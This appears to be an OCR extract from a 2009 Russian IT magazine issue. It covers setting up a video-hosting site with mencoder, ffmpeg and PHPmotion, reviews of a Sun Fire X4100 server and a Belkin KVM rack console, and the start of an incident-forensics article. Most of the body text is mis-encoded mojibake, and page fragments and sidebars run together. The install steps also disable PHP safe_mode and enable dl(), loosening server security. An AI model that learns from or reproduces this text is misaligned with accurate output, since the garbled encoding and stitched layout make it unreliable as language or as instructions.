âèäåî-êîíòåíòà. Òàêèå ïëàãèíûåñòü äëÿ Drupal, Joomla è ìíîãèõ äðóãèõ. Ïðè ïðàâèëüíîé ïåðåðàáîòêåîíè ëåãêî ïðåâðàòÿòñÿ â òî, ÷òî íóæíî êîíêðåòíî òåáå. Êðîìå òîãî,ñóùåñòâóåò ìíîæåñòâî ñêðèïòîâ (â áîëüøèíñòâå ñâîåì ïëàòíûõ), êîòîðûåìîæíî èñïîëüçîâàòü â êà÷åñòâå ôóíäàìåíòà áóäóùåãî ñàéòà: www.buyscripts.in/youtube_clone.html, www.alstrasoft.com/videoshare.htm, www.clip-share.com.КАК ЭТО РАБОТАЕТ Äëÿ îïèñàíèÿ âñåõ ýòàïîâ ñîçäàíèÿ âèäåîõîñòèíãàïîòðåáîâàëàñü áû öåëàÿ êíèãà, ïîýòîìó â ýòîì ðàçäåëå ÿ äàì ëèøüêðàòêîå îïèñàíèå òîãî, êàê ðàáîòàåò ïðîñòåéøàÿ ñèñòåìà ïîòîêîâîãîâåùàíèÿ âèäåî â ñòèëå Web 2.0.Âñå íà÷èíàåòñÿ ñ çàïîëíåíèÿ ïîñåòèòåëåì ñïåöèàëüíîé ôîðìû, çíà÷åíèÿïîëåé êîòîðîé ïåðåäàþòñÿ ñêðèïòó, îñóùåñòâëÿþùåìó çàãðóçêóâèäåî ñ ìàøèíû êëèåíòà è ïîìåùàþùåìó åãî â íåêîå õðàíèëèùå íàñåðâåðå. Èìÿ ïîñåòèòåëÿ, ðàçäåë, êóäà ñëåäóåò ïîìåñòèòü ðîëèê, èäðóãèå äàííûå çàïèñûâàþòñÿ â áàçó äàííûõ. Äàëåå ïðîèñõîäèò âûçîâñêðèïòà, îòâåòñòâåííîãî çà ïåðåêîäèðîâêó âèäåî. Îí èñïîëíÿåò ïðèìåðíîòàêóþ êîìàíäó:# mencoder input.avi -ofps 12 -o video.flv -of lavf-lavfopts \i_certify_that_my_video_stream_does_not_use_b_frames-oac lavc -lavcopts \acodec=mp3:abitrate=32 -srate 22050 -ovc lavc -lavcoptsvcodec=flv:\vbitrate=100:mbd=2:mv0:trell:v4mv:cbp:last_pred=3:predia=2:dia=2:\vmax_b_frames=0:vb_strategy=1:precmp=2:cmp=2:subcmp=2:preme=2:qns=2 \-vop scale=360:240Ãäå îïöèè vbitrate=100 è scale=360:240 çàäàþò áèòðåéò, ðàâíûé 100Êáèò/ñ (îïòèìàëüíûé âàðèàíò äëÿ ñîåäèíåíèé â 128 Êá/ñ) è ðàçìåð360:240. Ðîëèê ïîìåùàåòñÿ â îòäåëüíîå õðàíèëèùå, åãî ìåòàäàííûå èìåñòî ðàçìåùåíèÿ çàíîñÿòñÿ â ÁÄ, îðèãèíàë óäàëÿåòñÿ (èëè îñòàåòñÿ íàìåñòå).Òåïåðü, êîãäà èíôîðìàöèÿ î ðîëèêå åñòü â ÁÄ, ëþáîé ïîñåòèòåëü,íàáðàâøèé èìÿ ðîëèêà â ôîðìå ïîèñêà èëè ïåðåøåäøèé íà ñòðàíèöó ñïåðå÷èñëåíèåì ïîñëåäíèõ äîáàâëåííûõ ðîëèêîâ, ìîæåò óâèäåòü ññûëêóíà íåãî (åñòåñòâåííî, îíà ãåíåðèðóåòñÿ íà ëåòó, èñïîëüçóÿ çíà÷åíèÿÁÄ).Ïîñëå ïåðåõîäà ïî ïðåäëîæåííîé ññûëêå ïîëüçîâàòåëü ïîïàäàåò íàñòðàíèöó, ñîäåðæàùóþ îïèñàíèå ðîëèêà è îêíî ôëåø-ïëååðà, â êîòîðîìíà÷èíàåò çàãðóæàòüñÿ âèäåî. Îáû÷íî ýòî ïîëíîñòüþ ãåíåðèðóåìàÿñ íóëÿ ñòðàíèöà, ñîäåðæàùàÿ ïðèìåðíî òàêîé êîä:Пример встраивания видео в HTML-страницуGet the Flash Player to see thisplayer./* player.swf — ãëàâíûé îáúåêò äëÿ çàãðóçêè flv */var object1 = new SWFObject('./javascript/player.swf','mediaplayer','400','300','8');XÀÊÅÐ 12 /132/ 09 125


SYN\ACKPHPMOTION НЕ ОТКРОЕТ ДОСТУПК САЙТУ, ПОКА ПРОБЛЕМЫ С ПРА-ВАМИ ДОСТУПА НЕ БУДУТ РАЗРЕ-ШЕНЫPHPMOTION: КОНФИГУ-РИРОВАНИЕ ДВИЖКАВИДЕОКОДИНГАYOUTUBE.COM — ЗАКОНОДАТЕЛЬ МОДINFOinfo• PHPmotion используетдвижок шаблоновTinyButStrong (www.tinybutstrong.org),достаточно гибкий, нопростой.• Пример кодинга видеос использованиемffmpeg:$ ffmpeg -i video.avi-ar 22050 -ab 32k -fflv -b 100k -s 320x240-y video.flv.HTTP://WWWlinks• Некоторые видеопровайдеры:www.ooyala.comwww.brightcove.comb2b.viddler.com.• Дополнительныетемы для PHPmotionлежат по адресу www.phpmotiontemplates.com.• Многофункциональныймодульдля Drupal, превращающийсайтв видео хостинг:http://drupal.org/project/flashvideo.126object1.addParam('allowscriptaccess','always');object1.addParam('allowfullscreen','true');object1.addVariable('width','360');object1.addVariable('height','300');/* Øêóðêà ïëåéåðà */object1.addVariable("skin", "./skin/fashion.swf");/* Ïðåâüþ */object1.addVariable('image','./video/preview.jpg');/* Èñòî÷íèê âèäåî */object1.addVariable('file','../video/YupiSugianto.flv');/* Èìÿ êîíòåéíåðà */object1.write('container');È ýòî, êàê íè ñòðàííî, âñå. Ïðåâüþ ðîëèêà, îáû÷íî îòîáðàæàåìîåïðè åãî çàãðóçêå, à òàêæå íà ñòðàíèöàõ ïîèñêà è â ñïèñêàõðîëèêîâ, ãåíåðèðóåòñÿ âñå òåì æå ñêðèïòîì-êîäèðîâùèêîì, àåãî àäðåñ ïîìåùàåòñÿ â ÁÄ. Ýòî ñàìûé ïðèìèòèâíûé âàðèàíòâèäåîõîñòèíãà, ðàçìåùåííîãî íà îäíîé ìàøèíå. Îí íå ñïîñîáåíâûäåðæàòü âûñîêîé íàãðóçêè è ëåãêî çàãèáàåòñÿ îò çàëèâêèíà ñàéò ñðàçó íåñêîëüêèõ ðîëèêîâ. Íåêîòîðûå ñêðèïòû è ñïåöèàëèçèðîâàííûåCMS ïîçâîëÿþò çàïóñêàòü ïåðåêîäèðîâùèê âîâðåìÿ íàèìåíüøåé íàãðóçêè èëè ïî ðàñïèñàíèþ cron, ÷òîáûõîòü êàê-òî ïîâûñèòü æèçíåñïîñîáíîñòü ñåðâèñà, íî ýòî ñïàñàåòëèøü íà ïåðâûõ ïîðàõ. Õîñòèíã ñ âûñîêîé ïîñåùàåìîñòüþèñïîëüçóåò ðàñïðåäåëåííóþ ñèñòåìó îáðàáîòêè çàïðîñîâ,îòäà÷è ðåçóëüòàòîâ è çàãðóçêè ôàéëîâ äëÿ ïîääåðæàíèÿñåðâèñà íà ïëàâó. Îðãàíèçîâàíà îíà ïðèìåðíî òàê:1. Âûäåëåííàÿ ìàøèíà èëè íåñêîëüêî ìàøèí âûñòóïàþòâ ðîëè ôðîíòåíäîâ — ñåðâåðîâ, èãðàþùèõ ðîëü «ëèöà»ñåðâèñà. Îíè ïðåäíàçíà÷åíû òîëüêî äëÿ ïðîñìîòðà HTMLñîäåðæèìîãîñàéòà (íî íå ñàìèõ ðîëèêîâ).2. Ìíîæåñòâî ìàøèí èñïîëüçóþòñÿ äëÿ õðàíåíèÿ êîíòåíòà.Îòêðûâàÿ âèäåîðîëèê ÷åðåç âåá-èíòåðôåéñ ñåðâåðà-ôðîíòåíäà,ïîñåòèòåëü ôàêòè÷åñêè ïîëó÷àåò âèäåî ñ îäíîãî èçýòèõ ñåðâåðîâ.3. Äëÿ êîäèðîâàíèÿ âèäåî èñïîëüçóåòñÿ äðóãàÿ ñåòü ñåðâåðîâ.Çàãðóæåííîå ïîëüçîâàòåëÿìè âèäåî ïîïàäàåò íà îäèíèç data-ñåðâåðîâ, îïèñàííûõ âî âòîðîì ïóíêòå. Ïîñëå ýòîãîçàïðîñ íà äåêîäèðîâàíèå óõîäèò ê íàèìåíåå çàãðóæåííîìóâû÷èñëèòåëüíîìó ñåðâåðó (compute node), îòâåòñòâåííîìóçà ïðåîáðàçîâàíèå âèäåî â FLV. Çàêîí÷èâ ïðîöåññ êîäèíãà,îí çàãðóæàåò ðåçóëüòàò îáðàòíî íà data-ñåðâåð, èçâåùàåòîá ýòîì ôðîíòåíä, êîòîðûé òåïåðü ìîæåò ïîêàçàòü ðîëèêâñåì ïîñåòèòåëÿì ñàéòà.Îïèñàííàÿ ñõåìà, êîíå÷íî, íàìíîãî áîëåå ñëîæíà è îáû÷íîâêëþ÷àåò â ñåáÿ ñåòü òàê íàçûâàåìûõ «óïðàâëÿþùèõñåðâåðîâ», îòâå÷àþùèõ çà êîíñîëèäàöèþ ðàáîòû è ñâÿçüâñåõ ìàøèí ñåòè â åäèíóþ ñèñòåìó, à òàêæå òåõíîëîãèè,èñïîëüçóåìûå â GRID è îáëà÷íûõ âû÷èñëåíèÿõ. ×àñòî âêà÷åñòâå õðàíèëèùà äàííûõ, êàê, âïðî÷åì, è âû÷èñëèòåëüíûõñåðâåðîâ, èñïîëüçóþòñÿ ñåðâèñû Amazon, êîòîðûå óæåèìåþò ñòîéêóþ, ïðîâåðåííóþ âðåìåíåì èíôðàñòðóêòóðó,ïîçâîëÿþùóþ áåç ëèøíèõ òàíöåâ ñ áóáíîì îáúåäèíèòüìàøèíû â åäèíûé êëàñòåð.PHPMOTION — МУЛЬТИМЕДИА-СЕРВИС ИЗ КОРОБКИÑàìûå ëåíèâûå ìîãóò âîñïîëüçîâàòüñÿ ãîòîâûìè ðåøåíèÿìèäëÿ îðãàíèçàöèè âèäåîõîñòèíãà. Íàçûâàþòñÿ îíèMedia Sharing CMS è ïðåäëàãàþò óæå ñôîðìèðîâàííóþ èîòëàæåííóþ èíôðàñòðóêòóðó äëÿ îðãàíèçàöèè ðàçëè÷íûõìóëüòèìåäèà-ïîðòàëîâ, òàêèõ êàê âèäåîõîñòèíãè, ñåðâèñûõðàíåíèÿ è îáðàáîòêè èçîáðàæåíèé, à òàêæå âåá-ðàäèîñòàíöèè.Íàèáîëåå ïîïóëÿðíîå ðåøåíèå â ýòîé îáëàñòè —CMS PHPMotion (www.phpmotion.com).PHPmotion — ýòî ìóëüòèìåäèà-ñåðâèñ èç êîðîáêè,óæå ãîòîâûé ê èñïîëüçîâàíèþ âåá-ñàéò, ïîçâîëÿþùèéïîñåòèòåëÿì çàãðóæàòü âèäåî (ïîääåðæèâàþòñÿïî÷òè âñå êîäåêè è êîíòåéíåðû) è àóäèî-ôàéëû,ïðîñìàòðèâàòü âèäåî/èçîáðàæåíèÿ, ïðîñëóøèâàòüàóäèî, îñòàâëÿòü êîììåíòàðèè, âèäåòü ñòàòèñòèêóïðîñìîòðîâ, ñïèñêè íàèáîëåå ïîïóëÿðíîãî êîíòåíòà,îðãàíèçîâûâàòü ãðóïïû ïî èíòåðåñàì, âåñòè òåìàòè÷åñêèåáëîãè è îáùàòüñÿ ñ äðóãèìè ïîëüçîâàòåëÿìè.Ãèáêàÿ ïàíåëü àäìèíèñòðèðîâàíèÿ ïîçâîëÿåòóïðàâëÿòü âñåì ýòèì ÷åðåç web-èíòåðôåéñ, à ñèñòåìàøàáëîíîâ — ïîäîãíàòü ñàéò ïîä ëþáîé äèçàéí. Ïåðåäóñòàíîâêîé òû ìîæåøü îçíàêîìèòüñÿ ñ âîçìîæíîñòÿìèPHPmotion, ïåðåéäÿ íà òåñòîâóþ ïëîùàäêó http://v3beta.phpmotion.net.Ïåðåä ðàçâåðòûâàíèåì PHPmotion íóæíî ïîçàáîòèòüñÿ îáóñòàíîâêå íà ñåðâåð ñëåäóþùèõ êîìïîíåíòîâ:Зависимости PHPmotionPHP 4.3 èëè âûøå äëÿ âåðñèè 2 è PHP 5 äëÿ âåðñèè3 (ñ ïîääåðæêîé CLI)MySQLMp3-êîäåð LAMELibogg è LibvorbisMencoder è MplayerFFMpeg-PHPphp-gd âåðñèè 2 èëè âûøåXÀÊÅÐ 12 /132/ 09


ТЕСТОВАЯ ПЛОЩАДКА PHPMOTIONПЕРВИЧНАЯ НАСТРОЙКА PHPMOTION Ubuntu Linux âñå ýòè êîìïîíåíòû óæå åñòü â ðåïîçèòîðèè, ïîýòîìó äëÿèõ óñòàíîâêè äîñòàòî÷íî âûïîëíèòü îäíó êîìàíäó:$ sudo apt-get install \mysql-server mysql-client lame libogg0 \libvorbis libvorbis0 mplayer mencoder \apache2 php5 php5-gd php5-ffmpeg php5-mysql \php5-cli libapache2-mod-auth-mysqlÎíè çàêîäèðîâàíû ñ ïîìîùüþ PHP-ìîäóëÿ PHPshield, êîòîðûéåñòü â äèñòðèáóòèâå PHPmotion. Ñêîïèðóé åãî â êàòàëîã /usr/lib/php5/20060613+lfs:$ sudo cp www/phpshield/phpshield.5.2.lin /usr/lib/php5/20060613+lfsÈ äîáàâü â êîíåö ôàéëà /etc/php5/apache2/php.ini ñòðîêó:Êðîìå äîïîëíèòåëüíûõ ïàêåòîâ, PHPmotion òðåáóåò îñîáîé íàñòðîéêèPHP, êîíôèãóðàöèîííûé ôàéë êîòîðîãî äîëæåí âêëþ÷àòü ñëåäóþùèåñòðîêè:$ sudo vi /etc/php5/apache2/php.iniopen_basedir =upload_max_filesize = 100Mpost_max_size = 100Mmax_execution_time = 1500session.gc_maxlifetime = 14000safe_mode = offenable_dl = OnÃäå upload_max_filesize — ýòî ìàêñèìàëüíûé ðàçìåð çàãðóæàåìîãîôàéëà, post_max_size — ìàêñèìàëüíûé ðàçìåð POST'à, max_execution_time — ìàêñèìàëüíîå êîëè÷åñòâî ñåêóíä, â òå÷åíèå êîòîðûõ ìîæåò èñïîëíÿòüñÿñêðèïò, session.gc_maxlifetime — âðåìåííîé èíòåðâàë ìåæäóçàïóñêàìè ñáîðùèêà ìóñîðà. Îïöèÿ enable_dl àêòèâèðóåò ôóíêöèþdl(), íåîáõîäèìóþ äëÿ çàãðóçêè ñòîðîííèõ áèíàðíûõ ìîäóëåé PHP.Ïîñëå îêîí÷àíèÿ óñòàíîâêè è êîíôèãóðèðîâàíèÿ ñêà÷àé äèñòðèáóòèâíûéïàêåò PHPmotion (http://downloads.phpmotion.com/V3.0/php5/phpmotion.zip) è ðàñïàêóé åãî â êàòàëîã /var/www:$ cd /var$ sudo unzip /ïóòü/ê/phpmotion.zip -x$ sudo rm -rf www$ sudo mv phpmotion www$ sudo chmod -R 755 www/cgi-binÅñëè òû çàãðóæàåøü ôàéëû, èñïîëüçóÿ FTP, ïîçàáîòüñÿ î òîì, ÷òîáûñëåäóþùèå ôàéëû è êàòàëîãè áûëè çàãðóæåíû â áèíàðíîì ðåæèìå:* /phpshiled/* /classes/config.php* /addons/customprofile/pimp.class.php* /addons/customprofile/index.phpextension=phpshield.5.2.linÏî óìîë÷àíèþ Apache â Ubuntu (è Debian) íàñòðîåí íà ïîèñê êàòàëîãàcgi-bin â /usr/lib, à çíà÷èò, êîíôèãóðàöèþ ïðèäåòñÿ èçìåíèòü. Îòêðîéôàéë /etc/apache2/sites-enabled/000-default è çàìåíè ñòðîêè /usr/lib/cgi-bin íà /var/www/cgi-bin.PHPmotion èñïîëüçóåò apache-ìîäóëü mod_rewrite, ïîýòîìó åãî âûçîâíåîáõîäèìî äîáàâèòü â êîíôèã apache2:$ sudo a2enmod rewrite$ sudo /etc/init.d/apache2 restartÄàëåå îòêðîé â áðàóçåðå ñòðàíè÷êó www.òâîé-ñàéò.com/setup è ñëåäóéèíñòðóêöèÿì ïîìîùíèêà. Îí ïðîâåäåò òåáÿ ÷åðåç ôèíàëüíûå ýòàïûíàñòðîéêè, âêëþ÷àþùèå íàñòðîéêó äîñòóïà ÷åðåç FTP, óñòàíîâêóïðàâèëüíûõ ïðàâ äîñòóïà íà ôàéëû è êàòàëîãè PHPmotion, íàñòðîéêóäîñòóïà ê áàçå MySQL, ââîä ïàðîëÿ è ïî÷òîâîãî ÿùèêà àäìèíèñòðàòîðàè óêàçàíèå äîïîëíèòåëüíîé èíôîðìàöèè î ñàéòå. Ïîñëå ýòîãîóäàëè êàòàëîã /var/www/setup (èíà÷å PHPmotion çàïðåòèò òåáå âõîä).Ýòî, â îáùåì-òî, âñå. Ïàíåëü àäìèíèñòðàòîðà íàõîäèòñÿ ïî àäðåñówww.òâîé-ñàéò.com/siteadmin. Ñ åå ïîìîùüþ ìîæíî ïðîèçâåñòèìíîæåñòâî íàñòðîåê, ñðåäè êîòîðûõ — âíóòðåííèå íàñòðîéêèPHPmotion, íàñòðîéêè äâèæêà ïåðåêîäèðîâêè (íàïðèìåð, áèòðåéò,ðàçìåð âèäåî), âîçìîæíîñòü íàòÿíóòü øêóðêè, óïðàâëÿòü êîíòåíòîì èìíîãîå äðóãîå.ВЫВОДЫ Web óæå ïåðåñòàë áûòü ñòàòè÷íûì è ïîñòåïåííîïðåâðàùàåòñÿ â ìîùíåéøóþ ìóëüòèìåäèéíóþ ñèñòåìó, ïîçâîëÿþùóþïðîñìàòðèâàòü âèäåî, ñëóøàòü ìóçûêó, èãðàòü â èãðû,ïðîâîäèòü âèäåî-êîíôåðåíöèè. Òåëåâèäåíèå è ðàäèî óñòóïàþòìåñòî èíòåðàêòèâíûì èíòåðíåò-òåõíîëîãèÿì, ñ ïîìîùüþ êîòîðûõëþáîé ÷åëîâåê íà Çåìëå ìîæåò îðãàíèçîâàòü ñîáñòâåííûéòåëåêàíàë èëè ðàäèîñòàíöèþ, ñäåëàòü èõ ïîïóëÿðíûìè è çàðàáàòûâàòüäåíüãè. Ïî÷åìó áû íå âîñïîëüçîâàòüñÿ òàêîé âîçìîæíîñòüþ?Òåì áîëåå, êàê òû ñìîã óáåäèòüñÿ, ñîçäàòü ñâîé òåëåêàíàë íåòàê óæ è ñëîæíî. zXÀÊÅÐ 12 /132/ 09 127


SYN\ACKNATHAN BINKERT NAT@SYNACK.RUОгненное солнце1U-сервер Fire X4100 от компании Sun:Sun Fire X4100> Сетевой интерфейс:Четыре порта 10/100/1000Base-T EthernetОдин выделенный порт 10/100Base-TEthernet> Внешние порты ввода-вывода:Один асинхронный порт RJ45 TIA/EIA-232-FОдин порт USB 1.1 (спереди), два порта USB1.1 (сзади)Технические характеристикиSun Fire X4100> Процессор:До двух одноядерных/двуядерных процессоровAMD Opteron серии 2001 Мб кэш-памяти 2 уровня на каждое ядро> Память:Четыре разъема DIMM на каждый разъемпроцессораМодули памяти DDR1/400 DIMM с ECCкоррекцией(128-разрядная шина + шинаданных ECC)Всего 8 разъемов DIMM, до 16 Гб памяти накаждый процессор> Питание:Два избыточных блока питания с возможностью«горячей замены»Максимальная выходная мощность постоянноготока: 550 Вт> Расширение:Два внутренних 64-разрядных низкопрофильныхразъема PCI-X MD2(один разъем 100 МГц, один разъем 133 МГц)> Функции управления:Интегрированный сервисный процессорSun Integrated Lights Out Manager (ILOM)> Исполнение:Для установки в 19" стойку, высота 1UРазмеры (ВxШxД): 43,8 x 445 x 632 ммМасса с набором для установки в стойку:18,6 кг> Жесткие диски:2,5-дюймовые внутренние жесткие дискиSAS с поддержкой «горячей замены»До двух жестких дисков с дисководом DVD-ROM/CD-RWДо четырех жестких дисков без дисководаDVD-ROM/CD-RW> Поддержка RAID:Встроенные контроллеры RAID 0 и 1>> SYN/ACKFire X4100 — ñåðâåð íà÷àëüíîãî óðîâíÿíà áàçå îäíîãî èëè äâóõ ïðîöåññîðîâ AMDOpteron ñåðèè 200, îñíîâíûå îáëàñòè ïðèìåíåíèÿêîòîðîãî — áàçû äàííûõ, ðåøåíèÿáåçîïàñíîñòè, ðàçðàáîòêà, web-ñåðâåðûè ñåðâåðû ïðèëîæåíèé.Ñåðâåð ìîæåò áûòü îñíàùåí äî 32 Ãá ïàìÿòèDDR1/400 (16 Ãá íà êàæäûé ïðîöåññîð) ñ êîððåêöèåéîøèáîê.  êà÷åñòâå õðàíèëèùà äàííûõìîãóò áûòü èñïîëüçîâàíû äî ÷åòûðåõ2,5" æåñòêèõ äèñêà ñ èíòåðôåéñîì SAS è âîçìîæíîñòüþ«ãîðÿ÷åé çàìåíû». ÏîääåðæèâàþòñÿRAID-êîíôèãóðàöèè óðîâíåé 0 è 1.Îäíà èç èíòåðåñíåéøèõ îñîáåííîñòåé ñåðâåðà:íàëè÷èå ñðàçó ÷åòûðåõ ãèãàáèòíûõEthernet-ïîðòîâ, ÷òî íàäåëÿåò ñåðâåð îòëè÷íîéñåòåâîé ìàñøòàáèðóåìîñòüþ. Äëÿàäìèíèñòðàòèâíûõ öåëåé òàêæå äîñòóïåíâûäåëåííûé 100-ìåãàáèòíûé Ethernetïîðò,ïîçâîëÿþùèé âûïîëíÿòü íàñòðîéêóè ìîíèòîðèíã ñåðâåðà äàæå â ñëó÷àå íåäîñòóïíîñòèîñíîâíûõ ñåòåâûõ ïîðòîâ.Ôóíêöèîíàëüíîñòü ñåðâåðà ëåãêî ðàñøèðÿåòñÿáëàãîäàðÿ íàëè÷èþ äâóõ íèçêîïðîôèëüíûõðàçúåìîâ PCI-X MD2 âíóòðèêîðïóñà. Íàëè÷èå äâóõ èçáûòî÷íûõ áëîêîâïèòàíèÿ ñ ïîääåðæêîé «ãîðÿ÷åé çàìåíû»ïîçâîëÿåò ïðîèçâîäèòü ñìåíó áëîêà ïèòàíèÿ,íå âûêëþ÷àÿ ìàøèíó. Ýòî æå êàñàåòñÿâåíòèëÿòîðîâ.Sun Fire X4100 îáëàäàåò îäíèì èç ëó÷øèõâ ñâîåì êëàññå ñîîòíîøåíèé ïðîèçâîäèòåëüíîñòü/ýíåðãîïîòðåáëåíèå.Òðåáîâàíèÿê ýíåðãîïîòðåáëåíèþ è îõëàæäåíèþäî 56% íèæå ïî ñðàâíåíèþ ñ ñåðâåðàìè íàáàçå ïðîöåññîðîâ Xeon.Ñèñòåìà óäàëåííîãî óïðàâëåíèÿ SunIntegrated Lights Out Manager (ILOM) ñ èíòåãðàöèåéCLI, IPMI èëè SNMP ïîçâîëÿåò óïðàâëÿòüñåðâåðîì óäàëåííî. Îíà âêëþ÷àåòâ ñåáÿ ïåðåêëþ÷åíèå êëàâèàòóðíîãî ââîäàè èçîáðàæåíèÿ ñ ïåðåàäðåñàöèåé âèäåî èìóëüòèìåäèà. Àäìèíèñòðàòîð ñìîæåò îáñëóæèâàòüâñå ñåðâåðû Sun Fire, èñïîëüçóÿïàêåò ÏÎ Sun N1 System Manager, êîòîðûéâêëþ÷àåò ïîääåðæêó âûïîëíåíèÿ òàêèõäåéñòâèé, êàê ðàñïðåäåëåíèå ðåñóðñîâ, ìîíèòîðèíã,óñòàíîâêà îáíîâëåíèé è óïðàâëåíèå.Îôèöèàëüíî Sun çàÿâëÿåò î ïîääåðæêåîïåðàöèîííûõ ñèñòåì Solaris 10, RedHat Enterprise Linux 3.0 è 4.0, SUSE LINUXEnterprise Server 9, Windows Server 2003,Enterprise Edition è Standard Edition, VMwareESX 2.5.x/3.0.x.Öåíà Sun Fire X4100 ñîñòàâëÿåò îêîëî120 000 ðóáëåé.128XÀÊÅÐ 12 /132/ 09


Переключайи властвуйBelkin 15" LCD Rack Console:консоль удаленного управления и KVM-переключательв 1U-корпусе> Видео-разрешение:2048x1536 @ 85 Гц> Тип мыши:PS/2-совместимая> Входы клавиатуры:6-pin miniDIN (PS/2), USB type A> Корпус:Металлический корпус> Входы мыши:6-pin miniDIN (PS/2), USB type A> Размеры:482.6 x 44.5 x 736.6 ммТехнические характеристикиBelkin 15" LCD Rack Console: спецификацияKVM> Электропитание, VAC (напряжение по переменномутоку):90-264 @ 47-63 Гц> Компьютерные порты:Высокоплотный, 50-pin, SCSI 2-styleконнекторVGA-порты:15-pin тип HDDB> Вес:13,24 кг> Каскадирование:Максимум 16 BANK> Максимальное число PC:8 на BANK, 128 всего> Эмуляция клавиатуры:PS/2 & USBBelkin 15" LCD Rack Console:спецификация консолиРазрешение:1024x768> Тип клавиатуры:105-кнопочная, PS/2-совместимая> Эмуляция мыши:PS/2 & USB> Поддерживаемые мониторы:VGA, SVGA, MultiSync, LCD мониторы, которыеимеют аналоговый вход>> SYN/ACKBelkin 15" LCD Rack Console — ýòî êîíñîëüóäàëåííîãî óïðàâëåíèÿ è KVM-ïåðåêëþ-÷àòåëü â îäíîì ôëàêîíå, êîòîðûé ïîìåùàåòñÿâ ñòàíäàðòíûé 1U-îòñåê 19" ñòîéêè. Ñåãî ïîìîùüþ àäìèíèñòðàòîð ìîæåò óïðàâëÿòüñåðâåðàìè è öåíòðàìè îáðàáîòêèäàííûõ îò ñòîéêè.Ñðåäè õàðàêòåðèñòèê ñàìîé êîíñîëè ñëåäóåòîòìåòèòü 15" ýêðàí ñ ìàêñèìàëüíûìðàçðåøåíèåì 1024x768, 105-êíîïî÷íóþêëàâèàòóðó è òà÷ïàä, âûïîëíåííûå âñòèëüíîì êîðïóñå ôîðìàòà «âñå-â-îäíîì».Ïðè ýòîì âåñ óñòðîéñòâà ñîñòàâëÿåò 13,24êã, à ðàçìåðû 482.6 x 44.5 x 736.6 ìì.Âñòðîåííûé KVM-ïåðåêëþ÷àòåëü ïîääåðæèâàåòýìóëÿöèþ PS2 è USB ìûøè è êëàâèàòóðû,ìîíèòîðû VGA, SVGA, MultiSync, àòàêæå LCD-ìîíèòîðû, èìåþùèå àíàëîãîâûéâûõîä. Ðàçðåøåíèå âèäåî ñîñòàâëÿåò2048x1536@85 Ãö. Ñîâìåñòíî ñ äîïîëíèòåëüíûìïåðåêëþ÷àòåëåì KVM ïîçâîëÿåòóïðàâëÿòü 256 ñåðâåðàìè.Ðàáî÷àÿ òåìïåðàòóðà óñòðîéñòâà ñîñòàâëÿåò0-40° C ïðè âëàæíîñòè îò 0 äî 80%, ïðèýòîì óðîâåíü ýíåðãîïîòðåáëåíèÿ âñåãäàîñòàåòñÿ íà ìèíèìóìå.Öåíà êîíñîëè: 54 000 ðóáëåé.Îòëè÷íîå ðåøåíèå äëÿ àäìèíèñòðèðîâàíèÿñåðâåðîâ, ðàçìåùåííûõ â ñòîéêàõ ñ âûñîêîéïëîòíîñòüþ.Ïîäðîáíåå î KVM-ñèñòåìàõ ìîæíî óçíàòü èçñòàòüè Êðèñà Êàñïåðñêè «Äåðæè âñå ïîä êîíòðîëåì!»,îïóáëèêîâàííîé â ìàðòîâñêîì íîìåðåz çà 2007 ãîä.XÀÊÅÐ 12 /132/ 09 129


SYN\ACKСЕРГЕЙ «GRINDER» ЯРЕМЧУК GRINDER@SYNACK.RUПо скрытымследамРасследование инцидентов в Unix и WindowsВ случае успешного взлома сервер может быть использован для рассылкиспама, распространения вареза, организации атак на другие хосты,кроме того, могут быть украдены или уничтожены важные корпоративныеданные. Конечно, своевременный бэкап позволит восстановитьвсе в первоначальное состояние, но не факт, что через некоторое времяинцидент не повторится вновь. Поэтому важно научиться проводитькомпьютерные расследования и определять, что же в действительностипроизошло.КОМПЬЮТЕРНЫЕ РАССЛЕДОВАНИЯ Íåìåäëåííîåâîññòàíîâëåíèå ñèñòåìû èç ðåçåðâíûõàðõèâîâ äëÿ ïðîäîëæåíèÿ íîðìàëüíîé ðàáîòûñåðâåðà — ýòî ñàìàÿ ðàñïðîñòðàíåííàÿ îøèáêà.Äàæå åñëè íà÷àëüíèê ãðîçíî íàâèñàåò íàäãîëîâîé, à òåëåôîí ëîìèòñÿ îò çâîíêîâ âîçìóùåííûõêëèåíòîâ, ñëåäóåò íà íåêîòîðîå âðåìÿîñòàíîâèòü ñåðâåð, ñîõðàíèòü åãî ñîñòîÿíèåíà äðóãîé íîñèòåëü, ÷òîáû çàòåì ìîæíî áûëîñïîêîéíî ïðîèçâåñòè ðàññëåäîâàíèå âñåõ îáñòîÿòåëüñòâ.Çà÷åì ýòî íóæíî? Âî-ïåðâûõ, ÷òîáûñèòóàöèÿ íå ïîâòîðèëàñü, âåäü îáíîâëåíèå ÏÎ,àíòèâèðóñíûõ áàç è ò.ä. îòíþäü íå ãàðàíòèðóåòòîãî, ÷òî õàêåð íå èñïîëüçóåò ñâîé ñïîñîá äëÿïîâòîðíîãî ïðîíèêíîâåíèÿ. Âî-âòîðûõ, íåëüçÿ÷åòêî ñêàçàòü, êîãäà ïðîèçîøåë âçëîì, ïîýòîìó,êàçàëîñü áû, «íîðìàëüíàÿ» àðõèâíàÿ êîïèÿ óæåìîæåò ñîäåðæàòü «÷åðíûé õîä». È, íàêîíåö, ñîáðàííàÿèíôà ïîìîæåò óçíàòü, áûë ëè ýòî âçëîìâîîáùå: ìîæåò, ýòî ñèñòåìíàÿ èëè ÷åëîâå÷åñêàÿîøèáêà, à ìîæåò, ïðîèñêè èíñàéäåðà.Ïðîöåññ ðàññëåäîâàíèÿ (digital/computerforensics) õîðîøî îïèñàí â êíèãå Óîððåíà Êðóçà(Warren G. Kruse II) è Äæåÿ Õýéçåðà (Jay G.Heiser) «Computer Forensics: Incident ResponseEssentials», êîòîðàÿ ÿâëÿåòñÿ ñâîåãî ðîäàáèáëèåé äëÿ òåõ, êòî çàíèìàåòñÿ ïîäîáíûìèèññëåäîâàíèÿìè. Ê ñîæàëåíèþ, â ðóññêîìïåðåâîäå åå íåò, â èíòåðíåòå ìîæíî íàéòèîòäåëüíûå ãëàâû è âûäåðæêè èç îðèãèíàëà.Ñàìî èññëåäîâàíèå ñîñòîèò èç 5 ýòàïîâ — ïîäãîòîâêà(èññëåäîâàòåëÿ), îöåíêà ñèòóàöèè, ñáîð130äàííûõ, àíàëèç è îò÷åò. Ñòàíäàðòíûå èíñòðóìåíòû,âõîäÿùèå â ñîñòàâ ÎÑ, â áîëüøèíñòâå ñëó÷àåâìîãóò áûòü èñïîëüçîâàíû ëèøü êàê âñïîìîãàòåëüíûå.Çëîóìûøëåííèê â ïåðâóþ 